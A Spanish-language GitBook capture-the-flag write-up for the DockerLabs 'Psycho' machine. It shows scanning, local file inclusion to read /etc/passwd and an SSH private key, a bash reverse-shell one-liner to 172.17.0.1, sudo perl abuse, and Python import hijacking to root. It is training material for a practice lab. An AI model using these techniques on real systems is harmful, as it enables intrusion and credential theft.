> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/psycho.md).

# Psycho

## Introduccion

En este laboratorio de DockerLabs se compromete una maquina Linux que expone SSH y HTTP.

La cadena empieza con una enumeracion web sencilla hasta descubrir un parametro oculto llamado `secret`. Ese parametro permite leer archivos locales del sistema, por lo que primero se extrae `/etc/passwd` y despues la clave privada SSH del usuario `vaxei`.

Una vez dentro por SSH, la escalada se encadena en dos pasos: primero se abusa de una regla `sudo` sobre `perl` para saltar al usuario `luisillo`, y finalmente se aprovecha otra regla `sudo` sobre un script Python vulnerable a hijacking de imports para obtener una shell como `root`.

***

## Reconocimiento

Se realiza un escaneo de versiones con Nmap:

```bash
nmap -sVCS -Pn -n -p- 172.17.0.2
```

<div align="center"><img src="/files/7fOnoQaUx94000dTBfvj" alt="Escaneo Nmap"></div>

El escaneo muestra dos puertos abiertos:

| Puerto | Servicio | Version                    |
| ------ | -------- | -------------------------- |
| 22/tcp | SSH      | OpenSSH 9.6p1 Ubuntu       |
| 80/tcp | HTTP     | Apache httpd 2.4.58 Ubuntu |

***

## Enumeracion web

Al acceder al puerto 80 aparece una web de DockerLabs con un boton de reserva y una seccion de bienvenida:

```
http://172.17.0.2
```

<div align="center"><img src="/files/A8AF18Beu8QVzFVYoGen" alt="Web principal"></div>

Se lanza Gobuster para descubrir rutas y archivos:

```bash
gobuster dir -u http://172.17.0.2 \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,zip,php,txt \
  -b 404 -t 60
```

<div align="center"><img src="/files/fHvFHRX6YWzsynnFtc0K" alt="Gobuster"></div>

Aparecen estos recursos:

| Ruta             | Codigo | Comentario              |
| ---------------- | ------ | ----------------------- |
| `/assets/`       | 301    | Directorio de recursos  |
| `/index.php`     | 200    | Pagina principal en PHP |
| `/server-status` | 403    | Restringido             |

Como `index.php` no muestra nada evidente, se fuzzearon parametros GET con ffuf:

```bash
ffuf -u http://172.17.0.2/index.php?FUZZ=id \
  -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt \
  -fs 2596
```

<div align="center"><img src="/files/SEfqrIQIvqq03Hcfvsok" alt="Fuzzing de parametros con ffuf"></div>

El parametro interesante es:

```
secret
```

Si no se filtra correctamente por tamano de respuesta aparecen muchos falsos positivos, por lo que el filtrado por `-fs 2596` ayuda a quedarse con la diferencia real:

<div align="center"><img src="/files/jgkQsK9oTfoITa6NwvuM" alt="Falsos positivos en ffuf"></div>

***

## Lectura de archivos locales

Se prueba el parametro `secret` contra `/etc/passwd`:

```
http://172.17.0.2/index.php?secret=/etc/passwd
```

<div align="center"><img src="/files/RNXaRTZkstNnY0QIJp1t" alt="Lectura de /etc/passwd"></div>

La respuesta confirma una lectura de archivos locales y revela usuarios con shell interactiva:

```
vaxei
luisillo
```

Antes de seguir se prepara tambien un payload de reverse shell URL-encoded para probar si el parametro ejecuta comandos, aunque la explotacion efectiva de la maquina sale por LFI:

```bash
urlencode "bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'"
```

<div align="center"><img src="/files/Fkvgeck9jsyaqrf6vLBn" alt="Payload URL encoded"></div>

Como el usuario `vaxei` aparece en `/etc/passwd`, se intenta leer su clave privada SSH:

```
http://172.17.0.2/index.php?secret=/home/vaxei/.ssh/id_rsa
```

<div align="center"><img src="/files/ulpA4RZGgWY1nEA1RdaR" alt="Clave privada de vaxei por LFI"></div>

La clave se guarda en local como `id_rsavaxei`:

<div align="center"><img src="/files/fgY8LGsyzICtaQAzvR1f" alt="Guardando la clave privada"></div>

***

## Acceso inicial

Se ajustan permisos de la clave y se accede por SSH como `vaxei`:

```bash
chmod 600 id_rsavaxei
ssh vaxei@172.17.0.2 -i id_rsavaxei
```

<div align="center"><img src="/files/x4c1PLF44IpMthqCO0ch" alt="SSH como vaxei"></div>

Se obtiene una shell como el usuario `vaxei`.

***

## Movimiento lateral a luisillo

Como `vaxei`, se revisan los permisos de `sudo`:

```bash
sudo -l
```

<div align="center"><img src="/files/DQXGay5SlzX4LWj9PtPP" alt="sudo -l de vaxei"></div>

El usuario puede ejecutar `perl` como `luisillo` sin password:

```
(luisillo) NOPASSWD: /usr/bin/perl
```

Se abusa de `perl` para lanzar una shell:

```bash
sudo -u luisillo /usr/bin/perl -e 'exec "/bin/sh";'
whoami
```

<div align="center"><img src="/files/j2JUQNfKnu511hJ0Re0W" alt="Shell como luisillo con perl"></div>

***

## Escalada a root

Como `luisillo`, se revisan de nuevo los permisos de `sudo`:

```bash
sudo -l
```

<div align="center"><img src="/files/W4GWsaSgtTG6ufgQhWzD" alt="sudo -l de luisillo"></div>

El usuario puede ejecutar como root el script `/opt/paw.py`:

```
(ALL) NOPASSWD: /usr/bin/python3 /opt/paw.py
```

Se comprueban los permisos del script:

```bash
ls -la /opt/paw.py
```

<div align="center"><img src="/files/hbxh0K6jSYhHA1rJk919" alt="Permisos de paw.py"></div>

El archivo pertenece a `root`, pero se puede trabajar desde `/opt`. Al revisar el codigo se observa que importa varias librerias, entre ellas `os`:

```bash
cat /opt/paw.py
```

<div align="center"><img src="/files/uIUbL6g2VgrelkCN0VzA" alt="Codigo de paw.py"></div>

Como Python busca primero modulos en el directorio actual, se crea un `os.py` malicioso en `/opt` para secuestrar el import:

```python
import os
os.system("/bin/bash")
```

<div align="center"><img src="/files/OclQaHfVC6mLDLbaKY8W" alt="os.py malicioso"></div>

El archivo queda junto a `paw.py`:

<div align="center"><img src="/files/sWBdu14DpY7SoYkQghKC" alt="os.py en opt"></div>

Al ejecutar el script con `sudo`, Python carga nuestro `os.py` y se obtiene una shell como `root`:

```bash
sudo /usr/bin/python3 /opt/paw.py
whoami
```

<div align="center"><img src="/files/8aFGrLElTxh5UhRmJnmt" alt="Shell root"></div>

***

## Resumen

La ruta completa de la maquina queda asi:

1. Escaneo con Nmap para identificar SSH y HTTP.
2. Enumeracion web con Gobuster hasta confirmar `index.php`.
3. Fuzzing de parametros GET con ffuf.
4. Descubrimiento del parametro `secret`.
5. LFI para leer `/etc/passwd`.
6. Identificacion de usuarios locales `vaxei` y `luisillo`.
7. Lectura de `/home/vaxei/.ssh/id_rsa` mediante LFI.
8. Acceso SSH como `vaxei` usando la clave privada.
9. Abuso de `sudo perl` para saltar a `luisillo`.
10. Revision de `/opt/paw.py`, ejecutable con `sudo` como root.
11. Python import hijacking creando `/opt/os.py`.
12. Ejecucion de `paw.py` con `sudo` para obtener shell como `root`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/psycho.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
